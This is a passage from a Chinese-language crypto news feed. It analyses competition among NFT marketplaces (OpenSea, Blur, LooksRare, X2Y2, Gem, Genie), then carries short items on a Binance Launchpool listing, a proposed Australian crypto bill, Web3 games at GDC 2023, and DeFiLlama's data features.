Marketplace，于2017年成立，并且得到了一些著名资本的支持，并在2022年初获得130亿美金的高估值。这使得Opensea在NFT热潮开始前就已经建立了一个较大的用户群体和收藏者受众，这使得该平台能够迅速地吸引更多的卖家和买家。Opensea提供了种类最广泛的NFT，包括收藏品、PFP、虚拟地产、游戏物品、音乐、电影和其他收藏品。这使得平台能够吸引有多元需求的用户，并让他们在同一个平台上进行交易。 Web2和Web3的桥梁。Opensea的用户界面非常简单易用，这使得不熟悉区块链技术的人也可以轻松进行交易，在一定程度上降低了NFT市场甚至是Crypto的准入门槛，为Crypto行业带来了一定的增量资金。同时，Opensea也提供了一些交易工具和资源，帮助用户更好地利用NFT。 布局多链。虽然以太坊NFTs是最大NFT生态，但Opensea在多个公链上的提前布局建立自身更强的护城河。Opensea支持多种区块链，包括Polygon、Arbitrum、Fantom等。这使得用户可以选择最适合自己的区块链进行交易，并可以享受更低的交易费用。 Opensea提供了NFT Marketplace的最早解决方案，但受限于传统的运营模式。Opensea从建立之初就明确表示不会发币，因为其采用的是传统的股权融资方式，股东的退出方式也将是传统形式，而非代币形式，所以其资本运作属于传统金融范畴。此外，其收入主要来自于交易手续费，虽然在Blur出现之前一直保持2.5%的较高的交易手续费，但为了应对Blur对市场的冲击将其降至0%。综合来说，Opensea更像一个在Web3世界套用Web2运营模式的布道者，但目前看来，Opensea的发展状态确实有点“水土不服”。   LooksRare和X2Y2相继上线，采取了通过向Opensea用户空投代币的方式，以获取初步流量积累的策略。之后，它们推出了各自的挖矿奖励，试图占据市场份额。但由于奖励机制不断减少，最终导致真实交易量持续下跌。 尽管如此，LooksRare和X2Y2仍然是与Opensea竞争的有力对手，因为它们通过优于Opensea的用户体验来实现这一目标。除了基础NFT买卖交易外，它们还推出了批量上架、批量购买等附加功能，并集成了其他交易工具，方便用户对NFT的稀有度进行查询。与Opensea相比，这两个平台的交易手续费较低，这对于那些真实交易和转账的用户来说，更加友好。不过，这也可能导致平台存在一定程度的刷量交易。 总的来说，LooksRare和X2Y2的设计理念是将Marketplace设计为“淘宝商城”的模式，即提供更便利和完善服务，收取更低的手续费。 当涉及到低价NFT交易时，批量交易是一种更为适合的交易方式。这是因为批量交易可以减少单个NFT交易所需的时间和劳动力成本，从而降低交易的成本和费用。另外，批量交易还可以增加交易的效率和速度，使交易更为迅速和高效。 然而，在进行批量交易时，需要注意征收适当的手续费以维护平台的正常运营和发展。手续费的收取应该在合理的范围内，既要能够维护平台的运营，也要能够让交易者承受得起。在批量交易的过程中，刷单现象也是需要引起重视的问题。刷单现象的出现会导致真实交易量持续下降，从而影响整个交易市场的正常运转。因此，需要采取措施来防止和打击刷单行为，维护交易市场的健康和稳定发展。 整体来说，LooksRare、X2Y2不是从功能性的差异化入手，而是从代币经济的角度切入，抓住Opensea没有平台代币这一明显短板，实施了更具有Crypto Native的策略，但随着边际奖励的减少，业务变得不可持续。这也给Blur的成功埋下了伏笔。 （LooksRare UI界面） 聚合器的故事 Gem是一个NFT聚合器项目，是在Blur上线之前最大的聚合器。 它提供了一个平台，让用户可以轻松发现和购买不同NFT市场和平台上的NFT。类似于Blur，Gem聚合了多个主流NFT市场的流量，并以较低的成本实现批量购买NFT。这可以帮助用户在不同的Marketplace上获得最好的交易，同时也为Gem本身带来更多的流量和收益。Gem具有导流作用，可以将用户从不同的NFT市场和平台引导到自己的平台上，这可能会形成一定的流量劫持效应，使Gem成为一个聚合大量NFT流量的中心。在2022年4月，Gem被Opensea收购，但保持独立运营。这意味着Gem将成为Opensea的一部分，并受到Opensea的支持和资源，但仍将继续提供其独特的功能和服务，以满足不同用户的需求。作为Opensea的一部分，Gem可以更好地服务于Opensea的用户，并扩大其影响力和市场份额。 Genie是最早的NFT聚合器项目，与Gem具有相似的功能和定位。 与Gem相比，Genie聚合的NFT市场和平台数量较少，但仍然能够为用户提供一个方便的平台，让他们可以轻松发现和购买不同NFT市场和平台上的NFT。在2022年6月，Genie被Uniswap收购，成为Uniswap的一部分。Uniswap是一个基于以太坊区块链的去中心化交易所，通过智能合约实现资产交换和流动性提供。收购Genie可以帮助Uniswap扩展其服务范围，并为用户提供更多NFT相关的工具和服务。这意味着Uniswap可以利用其在去中心化交易领域的领先地位，吸引更多用户并为其提供更多NFT服务。同时，使用Genie作为工具，Uniswap可以提供更好的NFT浏览和购买体验。此外，与新兴的NFT市场合作可以帮助Uniswap扩大其用户基础并增加收入来源。 整体来说，Gem的Genie的功能较为单一，可替代性强。此外，两个平台都未发行代币，从而无法利用代币驱动业务的持续发展。然而，在收购后，Gem和Genie都可以借助其母公司的支持和资源来扩展其服务范围，并为用户提供更多的功能和服务。这将有助于它们在竞争激烈的NFT聚合器市场中保持竞争力并实现长期发展。 （Gem UI界面） Blur的横空出世 Blur的目标人群是NFT专业交易员、鲸鱼玩家，以及散户（虽然散户人数较少），这种目标群体的定位从一开始就跟市场其他平台迥异。该平台的模式是Marketplace+Aggregator，旨在将多个市场和平台聚合在一起，为用户提供更加便利的体验，所以在这种模式下，NFT做市商和LP提供者会在一定程度上获益。 除此之外，其经济模型也值得一提，其中包括空投激励、版税费用激励和挂单激励。这些措施的目的是减小挂单缺口，为NFT订单提供稳定的流动性。但笔者认为Blur做的最好的策略是对预期的管理。比如平台第一季空投的目标是激励智能挂单，第二季空投的目标是激励Bid pool，第三季是激励做市。而这一系列操作的核心点是，规则模糊，预期永远。 此外，Blur的费率为0，同时Gas fee也非常实惠。用户可以轻松扫货，同时交易工具齐全（包括数据分析面板）。此外，相较于其他聚合器，Blur的交易速度更快，为用户带来更快捷的交易体验。功能上的差异化为Blur区分了使用人群，更专业的交易深度图表、监控流动性和地板价的工具更适合专业的交易员。 通过独特的产品定位、产品设计和空投发放方式，Blur 初步创造了一种与 Opensea 不同的定位，解决了差异化不足的问题，在众多 NFT 交易市场中脱颖而出，然而Blur真正解决的问题是流动性不足的问题。 整体来说，Blur既做到了差异化的功能性改进，也做到了代币的预期激励，在一定程度上也改善了NFT流动性不足的缺陷。 当我们在Web 2.0的背景下想到亚马逊时，脑海中浮现的是琳琅满目的商品、高效快捷的物流以及人性化的售后服务。NFT 本质上是一种消费品/商品，为NFT提供买卖平台的场所的特征与电商平台相似。因此，我们认为，NFT 市场可以看作是 Web3 的亚马逊。 首先，电子商务有几个关键的商业特征，使企业能够在线销售他们的产品。其中包括在线品类和产品信息、购物车和结帐系统、安全支付处理、订单管理和履行、客户关系管理、分析和报告以及个性化和定制选项。通过利用这些功能，企业可以创建强大的在线商场、高效地销售产品或服务、管理订单和库存、建立客户关系以及优化营销和销售策略。 此外，NFT 可以被认为是一种商品。商品被定义为可以买卖的原材料或初级农产品，例如黄金、石油或小麦。另一方面，NFT 是独特的数字资产，代表特定数字项目（例如艺术品、音乐甚至推文）的所有权或真实性证明。它们可以像其他商品一样买卖，其价值由市场供求决定。 与传统商品类似，NFT 的价值会因各种因素而波动，例如基础数字资产的受欢迎程度、艺术家或创作者的声誉，或者 NFT 本身的稀有度。此外，NFT 可以作为分散投资组合的一种手段，或作为潜在经济收益的投机资产。 总的来说，虽然 NFT 是一种独特的数字资产类型，但从它们在市场上买卖的意义上来说，它们可以被视为一种商品，并且它们的价值由市场力量决定。所以，可以认为NFT首先是一种商品，其次才是具有投资属性的资产。 有两个关键因素有助于NFT Marketplace的成功：流动性和用户粘性。在流动性方面，一个市场需要有足够数量的买卖双方来保证交易的深度从而保证交易的顺利进行。至于用户粘性，这在很大程度上是由代币经济模型驱动的，从这个角度出发的策略的最终结果不一定能转化为用户之间深厚的“忠诚度”。但是，一旦平台的流动性有所改善，再加上代币经济模型的催化作用，平台的流动性将持续形成正反馈循环，直至边际套利机会消失。 因此，我们认为 Blur 是一个现象级的项目。随着该领域的发展，我们可以期待看到具有更好性能、更快订单交易和更低总体成本的Marketplace。 更新迭代的速度跟不上市场需求变化的速度。这意味着Opensea在更新其平台和功能以满足市场不断变化的需求方面进展缓慢。Opensea在早期凭借着较好的流动性深度以及能够提供品类更齐全的NFT资产领先着市场。但NFT 市场非常不稳定，并且容易受到需求突然变化的影响，无法跟上这些变化的平台可能会失去客户给竞争对手。本质上，Opensea无法在交易性能上做出超越其他项目的东西，因为市场总会出现Fork的产品。 没有代币经济。代币经济是指使用代币作为交换和激励手段的系统。Opensea 目前没有代币经济，这可能会限制其吸引和留住有兴趣在平台上赚取或使用代币的用户的能力。LooksRare、X2Y2对其进行的吸血鬼攻击并且吸引了一批用户过去就是直接的例证。 脆弱的用户粘性。用户粘性是指用户对特定平台或品牌的忠诚度。Opensea 的用户粘性很脆弱，这意味着用户不一定忠于平台，并且可能对投机性投资（即购买 NFT，希望以后出售以获利）比对平台本身更感兴趣，换句话说，使用Opensea的大多数用户对于能够通过不同平台进行套利的需求大于对平台本身性能的追求。Blur正是瞄准这一部分用户的需求，进行了具有强预期管理的代币空投计划。 总体而言，这些因素表明 Opensea 可能难以在快速发展的市场中竞争，并且给予后发项目以启示。为了保持竞争力，Opensea 可能需要专注于改善其平台功能和用户体验，创建代币经济以激励用户参与（Opensea发币可能性不大，但很大可能通过旗下的Gem发币），并建立更牢固的客户关系以提高用户粘性。 （最近2年NFT Marketplace的市场份额） Blur能走多远 NFT 市场面临的最大挑战之一是确定 NFT 的价值。与传统资产不同，NFT 是独一无二的，没有其他内在价值的支撑。因此，确定 NFT 的底价或公允价值可能很困难。这种缺乏透明度使得很难进行额外的衍生品交易或二级市场交易，因为买卖双方可能无法就资产的价值达成一致。Opensea 和 Blur 等试图通过为 NFT 交易提供透明且值得信赖的市场来解决这个问题。 Opensea 是最早的 NFT 市场之一。该平台通过允许用户构建不同的 NFT 并培养社区文化。这种方法成功地建立了忠实的用户群，Opensea 的成功为 LooksRare 和 X2Y2 等其他市场提供了范式，它们采用了类似的模式，但增加了代币经济来推广自己的产品。 Blur 是另一个 NFT 市场，它更侧重于投机而非收藏。这些用户的底层目的是来 Blur 赚钱，他们不关心持有的 NFT 类型，只要它有底价即可。Blur 被视为投机者的平台，投机者对价值发现和进行有利可图的交易比对建立收藏更感兴趣。 因此，我们认为NFT Marketplace的护城河不深。 当下，我们可以将有做市商、LP和交易员参与的平台看作是专业化的NFT Marketplace，代表项目为Blur；而那些仅提供最基础的Mint、Collect、Buy和Sell的平台看作散户化的NFT Marketplace，代表项目Opensea。事实上，NFT Marketplace的竞争也是集中在两者。对于专业化的Marketplace而言，能否给交易者更稳定的交易深度以及更专业的交易工具是其需要注重关注的要点。而对于散户化的Marketplace需要思考如何为平台赋能，给平台带来持续的流量输入。因为初期的流量导入是NFT Marketplace能否起步的关键因素。 综上，我们做出以下结论性的预测：   Reference [1]Devin Finzer,Opensea收购Gem以投资“专业”体验，Opensea Blog，2022，25（4）：https://opensea.io/blog/announcements/opensea-acquires-gem-to-invest-in-pro-experience/ [2]Karen，一文读懂Genie和Gem：NFT市场聚合平台先行者，Foresight News，2022，12（2）：https://www.defidaonews.com/article/6729148 [3]Kunal Goel，Meessari：OpenSea收购Genie将如何“破局”？，微信公众号，2022，05（7）：https://mp.weixin.qq.com/s/ph8vNngMgU8344xNYsxxOQ [4]Alastair,NFT金融（NFTfi）和场外交易的兴起，旧时尚研究，2022，13（6）：https://mirror.xyz/0xe70628e0E8e15F222AAdb406ce93fea713d6c30e/1LT5liPLgVCoWx8fVxudYVQYg-L-E7wKJWYVkdV-tUI [5]Alex Atallah，在OpenSea上免费创建NFT，Opensea Blog，2020，29（12）：https://opensea.io/blog/announcements/introducing-the-collection-manager/  ( 5 min )
    币安上线第32期新币挖矿，使用BNB、TUSD挖矿RDNT
    PANews 3月30日消息，据官方公告，币安现已上线第31期新币挖矿项目Radiant Capital（RDNT），一个去中心化跨链借贷产品项目。 用户可以在3月30日08:00后在Launchpad网站将BNB、TUSD投入到RDNT挖矿池中获得RDNT奖励，RDNT共计可挖矿40天。网站预计将于此公告的大约四小时后、挖矿活动开放前更新。挖矿时间为3月31日08:00至2023年5月10日7:59。 此前今日早些时候消息，币安创新区宣布于今日15:30上线Radiant Capital (RDNT)。  ( 4 min )
    屋漏偏逢连夜雨：美国之后，澳大利亚将加强对加密行业的监管
    撰文：anushsamal 编译：区块链骑士 本周三，澳大利亚反对党参议员 AndrewBragg 向该国议会提出了一项新法案，要求对 Crypto 交易所实施许可制度。 如果获得通过，该法案将要求澳大利亚 Crypto 交易所获得合法运营的许可证，使其与该国其他同样受许可要求约束的金融服务提供商保持一致。 Bragg 提出了《2023 年数字资产（市场监管）法案》，作为一名私人参议员的法案，旨在通过引入监管措施来保护消费者，鼓励对数字资产的投资。 该法案还包括监管稳定币和托管义务的规定。 虽然澳大利亚部长通常会提出新的监管改革，但议会教育办公室指出，议会个人议员也可以提出私人议员或私人参议员的法案。 Bragg 还批评现任工党政府未能实施多项与 Crypto 法规相关的建议。 澳大利亚参议院特别委员会于 2021 年 10 月将这些规定作为技术和金融中心引入。 监管是多个司法管辖区 Crypto 行业的中心舞台。 Bragg 参议员认为，澳大利亚政府无法确保对该行业的监管透明度，这使得该行业容易受到全行业事件的影响，例如 FTX 的崩溃。他表示： 「澳大利亚可以成为数字资产中心，同时保护数字资产消费者，但我们现在必须采取行动。」 这项立法提案出台之际，澳大利亚和全球对 Crypto 行业的审查越来越严格。 去年，澳大利亚交易报告和分析中心（AUSTRAC）对两家全球 Crypto 交易所币安和 Coinbase 提起了法律诉讼。 这两家交易所涉嫌违反了反洗钱和反恐融资法。 拟议的框架要求企业满足各种要求，包括维护交易记录，遵守 KYC 和反洗钱法规。 澳大利亚的 Crypto 托管服务和稳定币发行人将受到该法案中概述的相同监管规定的约束。 该立法规定了交易所、托管服务和稳定币发行人的若干责任和条件。 这包括维持最低资本或准备金要求，分离客户资金，提供客户持股报告，进行审计，确保透明度，并披露相关信息。 如果该法案获得通过，澳大利亚将加入越来越多的国家，包括美国、日本和欧盟，为 Crypto 行业引入监管。 澳大利亚正在就 Crypto、数字资产、通证、服务和平台的分类进行公开咨询。 这份名为「通证映射」的咨询文件于 2 月份发布，提供了有关 Crypto 和行业的基本定义的信息。  ( 4 min )
    游戏盛会GDC上的Web3片段：经济模型的反思，传统游戏商转型
    3月20日至24日，一年一度的游戏行业盛会Game Developers Conference 2023（GDC 2023）在美国旧金山举行。据GDC官方于3月29日公布的数据，GDC 2023吸引了超2.8万名与会者，共计超过1000位演讲者和700场会议、研讨会、圆桌会议。要知道，受疫情影响，GDC大会已连续取消两届，2022年恢复后也似乎人气不再，仅有1.2万人参加，与盛况空前的GDC 2019的2.7万与会人数相去甚远。正如官方所说，只有一种方式可以描述今年的大会：“GDC 回来了”。 GDC 的核心是一年一度的主舞台展示，今年的主题是“游戏的未来”，这与近些年才进入大众视野且方兴未艾的区块链游戏在理念上不谋而合。在GDC 2023，有超过20场的会议专门讨论区块链游戏，举办方既有Web3独角兽Polygon、Immutable，也有转型发展Web3游戏的传统游戏巨头WeMade、Nexon等。而与会的项目方还有Avalanche、Boba Network、Chainlink、Cronos等加密基础设施，以及Createra等一众Web3游戏开发团队。 总的来看，链游赛道在大会期间颇为热闹，有多家公司相互联手宣布达成战略合作，也有成功转型Web3的游戏发行商分享构建游戏及其平台的经验，本文将介绍GDC 2023期间部分值得关注的信息。 根据Delphi Digital的报告，以太坊的layer2扩容方案Immutable X和Polygon的游戏生态系统在2022年均累计获得了近9亿美元的投资，成为链游赛道名副其实的龙头。就在GDC开幕之际，Polygon Labs和Immutable X母公司Immutable就先放出了大新闻。双方宣布建立战略合作伙伴关系，以加速Web3游戏的开发，将合作创建 Immutable zkEVM，一个基于Polygon的零知识技术构建的EVM兼容的zk-rollup扩容解决方案。值得一提的是，I在公开这一消息的当天，Immutable还顺带公布了IMX的两项效用升级：平台费用的20%必须以IMX支付；IMX将被用作Immutable zkEVM的核心Gas货币，成为原生网络代币。 Polygon还将目光聚焦到了亚洲，为韩国游戏巨头Nexon进入区块链行业提供了支持。在GDC大会的第二天，Nexon宣布其正在创建一款名为《MapleStory Universe》的Web3游戏，并将通过Polygon Supernet获得该游戏的“专用应用程序链”。《MapleStory Universe》基于Nexon在2003年推出的2D横版卷轴网络游戏《MapleStory》（枫之谷，又称“冒险岛”），后者在近二十年间一直广受欢迎，迄今已产生超过 40 亿美元的收入，注册用户累计超过 1.8 亿。MapleStory Universe的开发团队在声明中表示将与 Polygon Labs 的团队密切合作，开发和营销这款新游戏。 虽未达成进一步战略合作，Polygon Labs还与韩国游戏巨头NEOWIZ一起联合参加GDC大会，宣传后者开发的创新Web3游戏平台Intella X，并展示即将在该平台推出的FPS游戏《A.V.A》、NFT PFP项目“Early Retired Cats Club”等。此外，国人熟知的手机品牌OPPO也和元宇宙平台Createra达成光线追踪技术等合作，将一起为用户带来更好的游戏体验，双方也在美国游戏大会(GDC)上联合参展。 GDC大会第四天，Near Foundation宣布同已成功转型Web3的韩国游戏公司WeMade建立战略合作伙伴关系，负责监督 Near Protocol 在韩国和亚洲的业务发展的Near Korea Hub在此次合作中发挥了关键作用。WeMade与 Near Foundation签署了业务协议，双方将共同支持提高相互品牌知名度的举措；投资于跨链的研究和合作；举办更多社区活动，例如编程马拉松和训练营；以及发掘潜在的 Web3 商机，培育下一代 Web3 开发者。 Immutable X继续扩张Web3游戏版图 Immutable X是Web3领域中发展最快的独角兽公司之一，其在短时间内吸纳了众多链游项目，并仍保持着快速发展的势头。在GDC大会期间，Immutable X宣布与BazookaTango、Bit Fry Game Studios和Studio 369三家游戏工作室达成合作关系。Immutable X将通过与Polygon联合推出的Immutable zkEVM来与三家工作室共同完成游戏开发，以进一步扩展其web3游戏系列。 Bazooka Tango与Immutable X的合作意在通过结合Web3的方式，使已经基本“凉透”战棋游戏《Shardbound》东山再起。这款游戏最初由Spiritwalk Games于2015 年推出，有着精美的游戏画面和美术设计，并曾收获了充满热情的玩家社区，但受制于开发团队缺乏资金等原因，造成游戏开发不完整，因而很快就日薄西山，其版权现归Bazooka Tango所有。Immutable X和 Bazooka Tango仍未决定新的 Web3 版本将在哪些游戏平台上发布，目前Steam和对NFT友好的Epic Games Store都是考虑对象。 Bit Fry Game Studios是一家独立游戏工作室，主打各类体育游戏，得到过专注于游戏的风投公司BitkraftVentures和已故的前NBA总裁大卫斯特恩等支持。通过与Immutable X合作，他们致力于颠覆体育游戏类型，其第一步便是宣布合作推出《Infinite Victory》。这是一款未来科技风的街机体育游戏，在以Bit Fry Game Studios早前发布的《Ultimate Rivals》的基础上，通过应用P2E 和 NFT 机制，打造一款结合篮球、曲棍球等多种运动的快节奏比赛。 以Oculus Quest 2上的VR机甲游戏《World of Mechs》而闻名的 Studio 369，正着手开发 Web3中第一款开放世界的机械化格斗游戏《MetalCore》，与Immutable合作旨在进一步优化其Web3策略并获得技术方面支持。为顺利进行该游戏的开发，Studio 369于年三月完成了1500万美元的融资，投资者包括Bitkraft Ventures、Immutable等。在游戏中，玩家将在矿产丰富的外星球上，通过赢取车辆和机器、制作装备、招募飞行员、开发土地、出售和交易他们的装备等方式，进行外星领土争夺战。在去年年底，该游戏获得了GAM32022 最佳射击游戏奖。 Wemade分享转型生意经 在GDC大会上，WeMade着重展示了其WEMIX PLAY平台，并围绕它举行了三场会议。WEMIX PLAY采用包括 Tokenomics、GameFi、Marketplace 和 Community 在内的“四大模块系统”，满足各种游戏类型和平台的需求，提供了将传统游戏转变为区块链游戏的全面解决方案。据WeMade称，目前约有 50 万人正在使用该平台。 相关阅读：《WeMade打造链游生态WeMIX，是再造新“传奇”还是谋划新“骗局”》 WeMade首席执行官Henry Chang就游戏的未来以及区块链技济和游戏的影响发表了主题演讲。讨论了其成功推出 25 款以上的 Web3 游戏、平台的优势以及服务区块链游戏的诀窍。他表示所有游戏最终都会发行自己的代币和 NFT，从而通过区块链技术和代币经济学提升游戏可玩度。不过他也强调，“靠玩赚钱的游戏”不会获得长久的成功，因为它们缺乏具有吸引力的游戏玩法和可持续性；相反，将代币经济学融入本就受到玩家喜爱的游戏中，才是让区块链游戏实现繁荣的关键。 WeMade执行副总裁 Wonil Suh（简称 Won）深入探讨了 Web3 游戏中代币经济学的演变，详细介绍了从低质量并强制性应用NFT的第一代游戏，到具有良好游戏性和更平衡的游戏内经济的第三代游戏的转变过程。他向游戏开发商强调，要谨慎对待只依赖销售NFT的商业模式，因为不仅竞争对手将会轻松发起挑战，更有经验的游戏玩家也不会再轻易买账。Won还分享了从 WeMade 的 Web3 游戏中学到的五个重要经验教训：漂亮的代币曲线十分稀少；供应太容易会导致代币价格下降；过早限制供应会损害玩家兴趣；监控游戏的代币经济学至关重要；再好的代币经济学也救不了要凉凉的游戏。 此外，WeMade也强调了游戏行业内协作和伙伴关系的重要性。他认为，培养社区意识并与其他开发人员、平台和利益相关者一起工作，可带来创新的解决方案并进一步发展 Web3 游戏领域。 Com2uSUSA总裁Kyu Lee在GDC上主持了一场关于可持续代币经济学的会议，分享了对“Play-to-Own (P2O)” 的有关见解，并介绍了将如何为《Summoners War: Chronicles 》构建稳定、增强型的代币经济学结构。 《Summoners War: Chronicles》是一款奇幻RPG游戏，基于下载量超 1.8 亿次的“ Summoners War: Sky Arena“ IP。该游戏于去年8月在韩国上线，今年3月9日在全球170多个国家发行后，一周内就获得了突破100亿韩元（约765万美元）的销售额。今年7月，Chronicles的区块链游戏版本将在Com2uS自己推出的链游平台XPLA上发布。 Kyu Lee表示，现有的 Play-to-Earn (P2E) 游戏的代币经济学结构是通过简单的代币奖励系统来关注玩家的流入，它吸引了大量对游戏并不真正感兴趣的玩家。这种情况下，玩家们获得的代币不是用于进一步激活游戏内经济，而是被带离游戏，最终导致代币和游戏内货币之间的汇率崩溃。 “与 P2E 游戏不同，Play-to-Own (P2O) 模型旨在构建可持续的代币经济学。P2O 是为真正的玩家创造核心游戏内容，因此他们可以通过花费时间和精力来生产有价值的游戏内物品，然后鼓励这些物品在游戏内经济中不断循环。“他将《Summoners War: Chronicles》作为理想代币经济学的例子，并表示这款游戏将是第一个将 AAA 游戏链接到区块链主网的成功案例，并将成为”可持续 Web3 游戏的里程碑”。 从GDC 2023大会可以看出，游戏行业的业内人士始终在关心Web3游戏这一领域的试验、变化与发展。但显然Web3游戏开发团队的技术力、制作水准乃至认知水平都亟待提升。无论是“Web3”还是“元宇宙”、“NFT”，这些标签本身并不能广泛激起大多数游戏玩家的兴趣，甚至由于过分注重金融属性、设计敷衍等问题，相当一部分游戏开发人员对可玩性毫不在意，而只顾钻研代币经济体系。 GDC大会上还公布了多个游戏奖项及提名，其中黑暗奇幻风动作RPG游戏《艾尔登法环》（Elden Ring）“无悬念”成为最大赢家，包揽TGA、金摇杆、DICE、GDC四大奖项。而各类奖项的提名中，Web3游戏无一入围。由此可见，回归游戏本身，Web3游戏现阶段与传统游戏相比并不具备优势，许多项目方大谈特谈的代币经济学，在无聊的游戏设计中变成了空中楼阁。 尽管目前发展水平有限，但近些年来，整个Web3行业始终对游戏赛道抱有极高的期望，这也表现在了一级市场的资金流向上：根据DappRada发布的元宇宙第一季度报告，区块链游戏和元宇宙项目在2023年第一季度中获得的资金最多，占总投资的 32.7%。 随着不同地区的多个传统游戏巨头陆续主动拥抱Web3，以及区块链基础设施公司不断迭代，构建更加适合大型游戏的底层技术。越来越多人相信，游戏很可能会成为Web3破圈的流量入口。而打开这个入口的，或许将会是一个真正优质的，能够笑傲未来某届GDC大会的游戏。 会在明后两年吗？让我们拭目以待。  ( 5 min )
    DeFilama数据功能全探索：玩转DeFi、发现Alpha，从这里开始
    原文：《重新认识 DeFilama——强大的数据工具网站》 作者：waynezhang.eth 你第一次用 DeFilama 是为了查询什么？ 我第一次是领导分配给我查询 Avalanche 生态的潜力DeFi任务。现在他已经是一个 Big Aggragator，我将通过这个 Thread 像你重新介绍它的功能 & 这些数据的使用方法 & 有趣的数据。 阅读本文您的收获会有： -详细了解DeFillama 的全部功能 -了解 DeFi 数据 & 指标：LTV, Delta 中性策略，New Listed Projects -寻找DeFi Alpha 的指标 & 方法 -如何使用相应的指标以及衍生指标 -查阅 DeFilama 的新奇数据 -数据工具网站推介 1.1DeFi-Overview -整个 DeFi 生态TVL -按照 TVL 协议排名 -可按照公链进行排名 Lido 因ETH 合并成为第一，99.2% TVL 来自于ETH 1.2DeFi-chains -各公链按TVL /协议数量/变化量/稳定币数量排名 -可按照 EVM、Non-EVM，Rollup，Cosmos，Parachain分类 TVL 7D/1M 变动值得观察，可能有链上新项目发布，DeFi 是生态基础设施，稳定币是DeFi 的基础，可以从DeFi角度观察公链发展。 1.3DeFi- Airdrops（此处的空投是指没有发币） -按照募资时间排序DeFi协议 这个数据更新的有些慢，有一定的寻找 Alpha 的能力，但不多。建议结合项目上线时间总和考虑 1.4DeFi-Treasuries -按照国库总量等进行排序，以及国库中各种代币所占比例 协议有钱 = 协议发展快？不一定 但协议有大量自身代币 = 市场流通小 or DAO可能成为代币最大抛售方 FTX 与 BIT DAO之间发生的事情值得我们从中学习，非稳定币对国库带来的风险 1.5DeFi-Oracles -利用TVS（Total Value Secured）进行排序 -各个预言机服务的协议情况 ChainLink 是该领域当之无愧的王者。但此数据不等于预言机的服务次数，数据模糊度高 1.6DeFi-Forks -查看哪些协议被复制的最多 被Fork 的基本都是龙头，建议详细调研，同时开发者可以通过此名单查看新的尝试机会 1.7DeFi-Top Protocols -查看各个公链的各个 DeFi细分领域的领头大哥 -范围包括：Liquid Staking，CDP，DEX，Lending，Yield，Bridge，Services，Algo-Stables 大公链生态中的龙头正在多链化，小/新生态中的龙头也在通过多链寻找更大的市场。 公链中缺乏的服务可能会成为新的机会，比如Canto 的CDP龙头会是谁？ 1.8DeFi-Comparison -支持选择多个协议根据时间轴进行 TVL 对比 对比LSD 这种同一个赛道的可能会有用。 这个功能可以扩展，比如对比参数变成收入，用户数，FDV等 1.9DeFi-Token Usage -可以查询 token 在 DeFi中的使用情况 这个数据应该是链上数据，且不太完全，只会显示被 DeFillama 收录的项目 意思的数据之一：有34.9亿 USTDT 在 JUSTLEND，他们用来做什么了呢？ 1.10 DeFi- Categorie -各个类别的DeFi项目的数量，TVL DeFillama将其分成了31个类别，其中协议数量在10以下的有Privacy，Oracle ，Leveraged Farming，Uncollateralized Lending，Exotic Options，RWA Lending。我认为后四个中可能有一些 Alpha 1.11DeFi- Recent -最近被收录的项目 注意这个“最近”指的是被收录而不是主网直接上线时，有一定的滞后性 1.12DeFi - Lauguage -不同编程语言占比 -按照 TVL 的语言对比 -Solana 生态开源/非开源的协议比例 如果你想了解更详细的，可以查看 @ElectricCapital 的数据网站https://www.developerreport.com/ 2.1 Yields - Pools -根据 TVL 排名的流动池顺序 -收录了 59条链上的 275 个协议中的 5327 个池子 除 BTC,ETH与稳定币，排名第十一名 GLP ，排名 十三名 GMX 均来自与 GMX 2.2 Yields-Delta Neutral -选择抵押代币，然后自动选出策略 -策略收益为计算各个策略组件的合计收益 目前该功能跟踪的池子比较少，只能起到一定的参考作用 2.3 Long-short Strats -给定一个代币，将在所有跟踪的矿池和 CEX 永续掉期市场上显示 delta 中性的“多空”策略。 -会在考虑 CEX 资金利率和 DeFi 收益率的情况下计算年化策略回报。 目前合作的 CEX 是 OKX，而去中心化平台包括 Venus，Ankr，WOOFi 等 2.4 Yields-Leveraged Lending -寻找不同杠杆借贷项目的 Loop Apy, Supply Apy 以及LTV，目前借贷情况等数据 -收录了23条链上，291个协议中的158个池 相较于其他链BNB chain的项目数量更多，且 Loop Apy 更高 2.5 Yields - Borrow -根据借贷项目的收益，LTV，供给及使用情况等进行排名 -收录了23条链上291个协议的777个流动性池 2.6 Yields -Overview -搜寻单个币种的中位 APY 以及分布情况 -可以查看某个币种在那个项目的那个池子拥有那种 APY -可视化的 APY 数据对比 可视化面板，很适合做质押数据分析报告时使用 2.7 Yield - Stablecoins Pool -收录了59条链上275个协议的422个池 -查看各个稳定币池子的TVL，APY（Base APY，Reward APY，30d Average APY） 基本高APY 都是靠项目代币的 Reward Apy 补贴的 除了以太坊上，L2 中也开始出现一些稳定币池值得关注 2.8 Yields-Halal -追踪59条链上的36个协议的5273个池子 -简单交换DEX，单产农业，流动性质押，桥接LPs -如何理解Halal（清真），个人觉得就是简单、安全点的池子 Arrakis Finance 的 DAI-USDC TVL $280.75M,且暂时未发币，目前收益仅有 Base Reward，暂未发币 3.DeFilama Swap-Meta-Aggregator -通过聚合多个聚合器，提供最佳交易路径查询，且可以直接交易 -会计算出交易结果以及各种费用成本 -可以自定义滑点 有些聚合器提供折扣，如果不嫌弃麻烦可以在这选好交易路由，再去相应的聚合器看看能不能拿折扣 4.Borrow Aggragator -给定一个用于抵押的代币和一个用于借贷的代币，该计算器将查看所有借贷协议 -计算每一个借款的成本，同时考虑激励、供应 APR 和借入 APR， -提供所有可能的借贷途径、成本和 LTV 的列表 5.CEX Transparency -中心化交易所资产的流入，流出，净资产等数据列表 目前 OKX 一月内处在净流入（$241.63M），而Binane一月处于净流出，目前已流出$2.07B 从目前来看，TOP5 净流出并没有全部流入TOP10净流入 CEX，现在可能有1.5B+资产放在链上 请注意在熊市净流入的CEX，或许值得关注 6.Liquidation -查看各条链上的各个协议的清算总额 -下跌20%的清算总额情况 -查看100个最大头寸的清算情况 TOP 10的最高清算价格（ETH/USD）是$1,088.017，TOP 12 & TOP 15 分别是 $1290左右，比较特殊的TOP 18是$1547. 7.Volumes - Overview/Chains/Options -Dexs 交易量日/周/月排名 -按照链进行交易量排名，以及变化量，TVL，市场份额，累计交易量 -期权交易量排名，变化量，TVL，市场份额，累计交易量（数据存在缺陷） 目前期权市场，Lyra 交易量占据已经统计数据的56%+，绝对领导者地位 8.Fee & Revenue -按照收入和费用进行排名的项目列表 Top 50 收入中收入排名品类分别是：Chain/Rollup（卖区块空间），DEX（手续费），流动性质押（奖励费用），期权/期货/借贷交易，NFT 市场/借贷，CDP，Synthetics，Oracle 